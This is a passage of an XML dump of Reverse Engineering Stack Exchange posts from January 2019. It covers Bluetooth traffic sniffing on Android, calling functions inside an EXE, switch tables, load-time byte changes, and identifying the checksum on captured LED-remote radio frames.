&lt;em&gt;they&lt;/em&gt; break the compatibility &lt;em&gt;your&lt;/em&gt; users will suffer blaming &lt;em&gt;your&lt;/em&gt; app. And most likely leave a negative review and uninstall it.&lt;/p&gt;&#xA;" OwnerUserId="25796" LastActivityDate="2019-01-09T14:15:40.197" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20319" PostTypeId="1" CreationDate="2019-01-09T14:32:05.257" Score="3" ViewCount="1731" Body="&lt;p&gt;Related to &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/20293/26989&quot;&gt;UE Megaboom serial protocol&lt;/a&gt;: I am trying to get some insights on the serial protocol spoken by the UE Megaboom, which I suspect is how the app controls the advanced features of the speaker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One approach would be to install the app on an Android VM, connect to the speaker and capture the traffic exchanged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With VirtualBox, I would probably need to connect a Bluetooth dongle as a USB device and let the VM control it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I capture the serial traffic exchanged between the speaker and the app?&lt;/p&gt;&#xA;" OwnerUserId="26989" LastActivityDate="2019-01-11T00:28:36.230" Title="Sniffing serial Bluetooth traffic on Android" Tags="|android|serial-communication|sniffing|bluetooth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20320" PostTypeId="2" ParentId="20316" CreationDate="2019-01-09T18:12:28.623" Score="5" Body="&lt;p&gt;GitHub is a good place to search for such stuff, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/search?q=0x13A+IA32+MSR&amp;amp;type=Code&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/search?q=0x13A+IA32+MSR&amp;amp;type=Code&lt;/a&gt; (may require logging in)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Produces results like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define MSR_BOOT_GUARD_SACM_INFO                                      0x13A&#xA;#define B_NEM_INIT                                                    BIT0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no comment, but from the name it look like the bit 0 determines whether the processor is already in NEM (Non-evict mode, another name for Cache-as-RAM).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-01-09T18:12:28.623" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20323" PostTypeId="1" CreationDate="2019-01-09T21:07:27.153" Score="0" ViewCount="3513" Body="&lt;p&gt;I open exe file (running on Windows) in Ida , and saw a function (for example sub_ABC) that I want to export , so I can call this function from c# code.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I export function that I Know the name that Ida gave to it , (by the offset) ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do I need to see how the arguments pass to this function (stack/register) so I will know the calling convention when I call it via c# , yes? Ida can tell me what is the calling convention of spesific function?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="26837" LastEditorUserId="26837" LastEditDate="2019-01-09T21:15:13.907" LastActivityDate="2019-01-10T12:49:51.030" Title="How to export function from exe file?" Tags="|ida|windows|c#|exe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20324" PostTypeId="1" CreationDate="2019-01-10T02:49:03.140" Score="1" ViewCount="149" Body="&lt;p&gt;Im hoping somebody here can give me some advice.  Im trying to read the flash contents of a Mpc564 Motorola MCU.  The flash size is 512KB   The processor was removed from a bad circuit board. Is there a way to read the flash after the MCU has been removed from the board.  Any help would be appreciated.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/AkSe2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AkSe2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27037" LastEditorUserId="245" LastEditDate="2019-01-10T09:04:31.927" LastActivityDate="2019-01-10T09:04:31.927" Title="Motorola Freescale mpc564 microcontroller" Tags="|debugging|hardware|flash|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20325" PostTypeId="2" ParentId="20319" CreationDate="2019-01-10T11:28:10.143" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://stackoverflow.com/a/23900782/2703209&quot;&gt;this StackOverflow answer&lt;/a&gt;, Android has a setting in Developer Options from 4.4 onwards. You first need to enable Developer Settings (if you have not done so already), then enable “Enable Bluetooth HCI snoop log”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tried this myself yet, but according to the information I could find:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Communication should be logged to a file called &lt;code&gt;/sdcard/btsnoop_hci.log&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If your external storage dir is something else than &lt;code&gt;/sdcard&lt;/code&gt;, modify the path accordingly.&lt;/li&gt;&#xA;&lt;li&gt;Some flavors of Android may use an entirely different path. Look for the &lt;code&gt;FileName&lt;/code&gt; parameter in &lt;code&gt;/etc/bluetooth/bt_stack.conf&lt;/code&gt; to find the correct path. (Some flavors of Android may put this file in &lt;code&gt;/system/etc&lt;/code&gt; or &lt;code&gt;/vendor/etc&lt;/code&gt;.)&lt;/li&gt;&#xA;&lt;li&gt;On some flavors of Android (including Android x86_64 CM 14.1), none of the above will work but you will find the log in &lt;code&gt;/data/misc/bluetooth/logs/btsnoop_hci.log&lt;/code&gt; (you need to have root permissions to get the file).&lt;/li&gt;&#xA;&lt;li&gt;The resulting file can then be analyzed with Wireshark or similar.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To get Bluetooth from an Android VM running on VirtualBox:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you are on Linux (tried on Ubuntu 18.04):&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add yourself to the &lt;code&gt;vboxusers&lt;/code&gt; group, e.g. by running &lt;code&gt;sudo usermod -a -G vboxusers your_user_name&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Log out and back in for the new group membership to take effect.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Start your Android VM.&lt;/li&gt;&#xA;&lt;li&gt;In Devices &gt; USB Devices, connect the Bluetooth adapter to the VM. It may have an inconspicuous name (mine is just called Intel [0001]).&lt;/li&gt;&#xA;&lt;li&gt;Optionally, add a USB filter to have the VM grab the BT device automatically whenever it starts.&lt;/li&gt;&#xA;&lt;li&gt;Be aware that the host system will lose access to the BT adapter while it is in use by the VM. If you have a BT mouse or keyboard, either replace it with a wired one, or get an additional BT adapter and use that for your VM.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In practice, however, I was unable to get a reliable Bluetooth connection from the Android VM. I can scan for devices and managed to pair the BT device (though that took multiple attempts), but I never managed to connect to the device. I suspect that is because Android is quite resource-hungry, and the overhead of virtualization along with a restriction to 2 out of 4 processor cores (which I have set this way to keep VMs from hogging my entire CPU) does not leave enough room for Android to run smoothly. Will need to retry with Android x86_64 on a USB stick, running on physical hardware.&lt;/p&gt;&#xA;" OwnerUserId="26989" LastEditorUserId="26989" LastEditDate="2019-01-11T00:28:36.230" LastActivityDate="2019-01-11T00:28:36.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20326" PostTypeId="2" ParentId="20323" CreationDate="2019-01-10T12:49:51.030" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;calling functions and procedures from executable file are not easy as dlls. dlls have &lt;a href=&quot;http://win32assembly.programminghorizon.com/pe-tut7.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Export Table&lt;/a&gt; that maps address of functions to names or ordinals. so while loading dll with LoadLibrary this table is corrected based on Image base and then by calling GetProcessAddress you can get function address with name or ordinal. if you want to &lt;a href=&quot;https://www.codeproject.com/Articles/1045674/%2FArticles%2F1045674%2FLoad-EXE-as-DLL-Mission-Possible&quot; rel=&quot;nofollow noreferrer&quot;&gt;load exe as library&lt;/a&gt; you need correct Import Table and in most cases do initials. for example if a function needs to know file handle before calling, you must initialize variables requires to that function. in many cases the functions inside exe file are not independent and there is calling other functions before calling them. finding this functions and dependency of them is not as easy as looking!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;2a. Analyzing in IDA can solve calling conventions issue. if before calling of a function, the stack should be prepared, you may find some [push]/[sub esp,X] right before call to that function. maybe calling with registers has been done (as in many cases of x64-bit). so you should know which register used for what parameter. this needs documentation of that function otherwise you have to analyse yourself! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2b. invoking methods from dotNet assemblies is possible, nevertheless you need initialize/provide function requirements also. look at &lt;a href=&quot;https://stackoverflow.com/questions/30094655/invoke-a-method-from-another-assembly&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12687" LastActivityDate="2019-01-10T12:49:51.030" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20327" PostTypeId="2" ParentId="20315" CreationDate="2019-01-10T14:06:02.620" Score="1" Body="&lt;p&gt;This is an example of so called sparse switch table - large range of case values with gaps in them. You can see how it first determines the case index by indexing a byte table then jumps to the handler using an index into the address table. So missing values are normal and expected; they’re handled by the default case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check Rolf’s research into compiler switch implementations and their variations in this article series:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.msreverseengineering.com/blog/2014/6/23/switch-as-binary-search-part-0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.msreverseengineering.com/blog/2014/6/23/switch-as-binary-search-part-0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-01-10T14:06:02.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20328" PostTypeId="1" AcceptedAnswerId="20330" CreationDate="2019-01-09T15:20:19.293" Score="3" ViewCount="192" Body="&lt;p&gt;I have an unbranded LED lamp with a remote control. I would like to reverse the protocol of the remote but unfortunately I can't create my own packages. The frequency of the remote transceiver is 2.4GHz (PA = 6dBm, channel = 1) so I used an NRF24 for collecting the frames from a button. When I 'replay' the collected messages the lamp reacts as expected.&lt;br&gt;&#xA;As I observed the preamble is 5 bytes long and in the end of packet there is a 2 bytes long hash, probably a CRC16. (I think it should be some kind of hash because one bit change in the packet generates totally different value in last 2 bytes position.) Unfortunately I couldn't identify the type of transceiver so I cannot figure out the packet format. I tried to reverse the hash with various methods but without luck.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea what is the hash algorithm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some test vectors from the same button.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  00 21  00 60 1f 55  57  84 c1&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  00 e1  00 60 1f 55  56  c4 cc&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  01 21  00 60 1f 55  56  86 95&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  01 e1  00 60 1f 55  55  c4 de&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  02 41  00 60 1f 55  55  75 64&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  02 61  00 60 1f 55  55  40 6c&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  02 81  00 60 1f 55  55  25 48&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  02 c1  00 60 1f 55  54  f5 6d&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  02 c1  00 60 1f 55  54  f5 6d&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  03 61  00 60 1f 55  54  42 38&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 01  00 60 1f 55  53  b8 9b&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 01  00 60 1f 55  53  b8 9b&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 21  00 60 1f 55  53  8d 93&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 41  00 60 1f 55  53  78 9f&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 61  00 60 1f 55  53  4d 97&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 61  00 60 1f 55  53  4d 97&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 81  00 60 1f 55  53  28 b3&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  04 81  00 60 1f 55  53  28 b3&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  05 01  00 60 1f 55  52  ba cf&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  05 81  00 60 1f 55  52  2a e7&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  05 a1  00 60 1f 55  52  1f ef&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  06 61  00 60 1f 55  51  49 3e&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  06 61  00 60 1f 55  51  49 3e&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  07 21  00 60 1f 55  50  8b 6e&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  07 a1  00 60 1f 55  50  1b 46&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  07 c1  00 60 1f 55  4f  e3 88&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  08 e1  00 60 1f 55  4e  c4 58&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  08 e1  00 60 1f 55  4e  c4 58&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  08 e1  00 60 1f 55  4e  c4 58&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  08 01  00 60 1f 55  4f  b1 5d&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  08 61  00 60 1f 55  4f  44 51&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  09 41  00 60 1f 55  4e  73 0d&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  09 21  00 60 1f 55  4e  86 01&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0a 41  00 60 1f 55  4d  75 f0&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0a 61  00 60 1f 55  4d  40 f8&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0a 81  00 60 1f 55  4d  25 dc&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0b 01  00 60 1f 55  4c  b7 a0&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0b 21  00 60 1f 55  4c  82 a8&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0b 41  00 60 1f 55  4c  77 a4&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0b 41  00 60 1f 55  4c  77 a4&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0b 61  00 60 1f 55  4c  42 ac&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c 21  00 60 1f 55  4b  8d 07&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c 61  00 60 1f 55  4b  4d 03&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c 61  00 60 1f 55  4b  4d 03&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c 81  00 60 1f 55  4b  28 27&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c c1  00 60 1f 55  4a  f8 02&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c c1  00 60 1f 55  4a  f8 02&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c e1  00 60 1f 55  4a  cd 0a&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0c e1  00 60 1f 55  4a  cd 0a&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0d 01  00 60 1f 55  4a  ba 5b&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0d 81  00 60 1f 55  4a  2a 73&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e 01  00 60 1f 55  49  bc a6&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e 21  00 60 1f 55  49  89 ae&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e 61  00 60 1f 55  49  49 aa&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e 81  00 60 1f 55  49  2c 8e&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e a1  00 60 1f 55  49  19 86&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e c1  00 60 1f 55  48  fc ab&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0e e1  00 60 1f 55  48  c9 a3&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f 01  00 60 1f 55  48  be f2&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f 21  00 60 1f 55  48  8b fa&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f 61  00 60 1f 55  48  4b fe&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f 61  00 60 1f 55  48  4b fe&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f 61  00 60 1f 55  48  4b fe&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f a1  00 60 1f 55  48  1b d2&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f c1  00 60 1f 55  47  f1 2d&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  0f c1  00 60 1f 55  47  f1 2d&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 01  00 60 1f 55  47  b6 87&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 21  00 60 1f 55  47  83 8f&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 21  00 60 1f 55  47  83 8f&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 41  00 60 1f 55  47  76 83&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 61  00 60 1f 55  47  43 8b&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 e1  00 60 1f 55  46  c3 82&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  10 e1  00 60 1f 55  46  c3 82&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 81  00 60 1f 55  46  24 fb&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 a1  00 60 1f 55  46  11 f3&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 a1  00 60 1f 55  46  11 f3&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 a1  00 60 1f 55  46  11 f3&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 e1  00 60 1f 55  45  c3 90&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  11 e1  00 60 1f 55  45  c3 90&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 41  00 60 1f 55  45  72 2a&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 41  00 60 1f 55  45  72 2a&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 61  00 60 1f 55  45  47 22&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 61  00 60 1f 55  45  47 22&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 c1  00 60 1f 55  44  f2 23&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  12 c1  00 60 1f 55  44  f2 23&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 21  00 60 1f 55  44  85 72&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 21  00 60 1f 55  44  85 72&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 21  00 60 1f 55  44  85 72&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 61  00 60 1f 55  44  45 76&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 81  00 60 1f 55  44  20 52&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  13 e1  00 60 1f 55  43  c3 b5&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  14 a1  00 60 1f 55  43  1a f5&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  14 e1  00 60 1f 55  42  ca d0&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  15 81  00 60 1f 55  42  2d a9&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  15 a1  00 60 1f 55  42  18 a1&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  16 61  00 60 1f 55  41  4e 70&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  16 a1  00 60 1f 55  41  1e 5c&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  16 c1  00 60 1f 55  40  fb 71&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  16 e1  00 60 1f 55  40  ce 79&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  18 01  00 60 1f 55  5f  b6 13&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  18 c1  00 60 1f 55  5e  f6 1e&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  19 81  00 60 1f 55  5e  24 6f&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  19 a1  00 60 1f 55  5e  11 67&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1a 01  00 60 1f 55  5d  b2 ba&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1a c1  00 60 1f 55  5c  f2 b7&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1b 21  00 60 1f 55  5c  85 e6&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1b 81  00 60 1f 55  5c  20 c6&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1c 01  00 60 1f 55  5b  bf 41&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1d 01  00 60 1f 55  5a  bd 15&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1d 81  00 60 1f 55  5a  2d 3d&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1d a1  00 60 1f 55  5a  18 35&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1e 41  00 60 1f 55  59  7b ec&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1e c1  00 60 1f 55  58  fb e5&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1f 21  00 60 1f 55  58  8c b4&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1f 41  00 60 1f 55  58  79 b8&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1f 61  00 60 1f 55  58  4c b0&#xA;aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0  1f e1  00 60 1f 55  57  c3 6b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27051" OwnerDisplayName="Babud Imre" LastEditorUserId="27051" LastEditDate="2019-01-11T06:59:56.017" LastActivityDate="2019-01-14T08:27:56.280" Title="Identification of RF hash algorithm" Tags="|crc|hash-functions|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="20329" PostTypeId="1" CreationDate="2019-01-10T17:32:40.103" Score="3" ViewCount="237" Body="&lt;p&gt;I'm in a situation where I have an executable file. When I start it within the debugger (x32dbg), with breakpoints set to every occasion (DLL entry, DLL load, Thread start,..), to restrict the amount of actions that get executed right after the file is ran,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the dump I see some bytes which are different from those at the same location in the exe file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening and how to prevent this?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Dum81.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dum81.png&quot; alt=&quot;On the right, the exe file, bytes which are changed are all arround the file. On the left, the runtime takeout of the memory&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought is it has something to do with dynamic linking of some sort. The values change when: the exe is saved(EVEN WITH THE EXACTLY SAME CONTENT AS BEFORE) and ran. Thus the offset where the code is placed and the specific bytes are recalculated. The only thing that loads, however, is ntdll.dll an then the first breakpoint is hit. So I guess the content of the exe is copied to the ram, that time is everything allright, then the magic part happens, where the subroutine or what knows what bytes to change and it changes them, and then the debugger gets the control.&lt;/p&gt;&#xA;" OwnerUserId="27049" LastEditorUserId="27049" LastEditDate="2019-01-11T21:31:29.743" LastActivityDate="2019-01-13T19:41:30.637" Title="Certain bytes in the memory (RAM) get changed after the program starts. Why?" Tags="|memory|exe|dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20330" PostTypeId="2" ParentId="20328" CreationDate="2019-01-10T18:11:38.233" Score="6" Body="&lt;p&gt;As explained &lt;a href=&quot;https://crypto.stackexchange.com/q/32704/555&quot;&gt;there&lt;/a&gt; for a similar problem, facing an unknown Frame Check Sequence, the first thing should be to determine if it is an affine function of the frame data, for the sense that has in cryptography. This can be defined by the property:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For any set with an odd number of frames of equal length, the XOR of the Frame Check Sequences for these frames is also the FCS for the (often, other) frame obtained by XOR-ing the data portion of the frames in the set.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All CRCs are affine (including non-standard variations); secure cryptographic hashes and Message Authentication Codes are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is evidence that indeed that FCS is affine: it is easy to isolate blocks of four (or larger even number) of different lines such that one is the XOR of the others, and that allows prediction of the last two bytes for most lines. Two examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aaaaaaaaaa908e7c64ce2033b8a0263fc0 0241 00601f55 55 7564&#xA;aaaaaaaaaa908e7c64ce2033b8a0263fc0 0261 00601f55 55 406c&#xA;aaaaaaaaaa908e7c64ce2033b8a0263fc0 0401 00601f55 53 b89b&#xA;aaaaaaaaaa908e7c64ce2033b8a0263fc0 0421 00601f55 53 